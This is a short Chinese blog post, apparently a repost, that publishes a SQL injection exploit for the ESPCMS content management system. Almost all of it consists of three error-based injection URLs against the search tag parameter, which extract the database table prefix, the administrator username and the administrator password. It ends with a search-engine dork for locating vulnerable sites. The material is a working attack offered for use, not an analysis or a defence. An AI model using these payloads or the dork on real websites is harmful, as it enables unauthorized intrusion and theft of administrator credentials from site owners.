espcms最新注入0day

最新推荐文章于 2022-08-01 15:46:19 发布

eudemon_cn

最新推荐文章于 2022-08-01 15:46:19 发布

阅读量1.2k

点赞数

分类专栏：网络杂谈|入侵|防护文章标签： tags table database schema linux 百度

网络杂谈|入侵|防护专栏收录该内容

44 篇文章

订阅专栏

本文详细介绍了一种针对积木网络平台的安全测试方法，通过构造特定的URL参数来获取数据库表前缀、管理员用户名及密码等敏感信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

积木网络上EXP，一步步来。暴出表前缀后，在修改后两句代码里面的表前缀。

爆表前缀：

index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,table_name,0x27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
暴管理员用户名:

index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
暴管理员密码:

index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,password,0x27,0x7e)) from 前缀_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
百度关键字：

inurl:index.php?ac=article&at=read&did=

日期:2011-11-30
本文转自Linux安全网